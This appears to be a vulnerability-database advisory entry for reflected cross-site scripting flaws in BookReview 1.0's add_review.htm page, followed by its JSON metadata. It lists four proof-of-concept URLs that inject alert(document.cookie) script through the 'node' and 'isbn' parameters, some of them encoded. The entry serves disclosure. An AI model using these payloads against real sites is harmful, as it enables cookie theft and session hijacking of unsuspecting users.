Search...

BookReview 1.0 add_review.htm Multiple Parameter XSS

2014-07-01T00:00:00

ID SSV:79382
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                source: http://www.securityfocus.com/bid/13783/info

BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/add_review.htm?isbn=0801052319&node=%3Cscript%3Ealert(document.cookie)%3C/script%3E&review=true
http://www.example.com/add_review.htm?isbn=0801052319%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Political_Science&review=true
http://www.example.com/add_review.htm?isbn=0553278223&node=&#34;&#62;&#60;script&#62;alert(document.cookie)&#60;/script&#62;&review=true
http://www.example.com/add_review.htm?node=index&isbn=\\&#34;&#62;&#60;script&#62;alert(document.cookie)&#60;/script&#62;

JSON Vulners Source

Initial Source

{"lastseen": "2017-11-19T13:38:38", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "cve,poc", "enchantments": {"score": {"value": -0.1, "vector": "NONE", "modified": "2017-11-19T13:38:38", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T13:38:38", "rev": 2}, "vulnersScore": -0.1}, "href": "https://www.seebug.org/vuldb/ssvid-79382", "references": [], "enchantments_done": [], "id": "SSV:79382", "title": "BookReview 1.0 add_review.htm Multiple Parameter XSS", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 0, "sourceData": "\n source: http://www.securityfocus.com/bid/13783/info\r\n\r\nBookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.\r\n\r\nAn attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. \r\n\r\nhttp://www.example.com/add_review.htm?isbn=0801052319&node=%3Cscript%3Ealert(document.cookie)%3C/script%3E&review=true\r\nhttp://www.example.com/add_review.htm?isbn=0801052319%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Political_Science&review=true\r\nhttp://www.example.com/add_review.htm?isbn=0553278223&node="><script>alert(document.cookie)</script>&review=true\r\nhttp://www.example.com/add_review.htm?node=index&isbn=\\\\"><script>alert(document.cookie)</script>\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-79382", "type": "seebug", "immutableFields": []}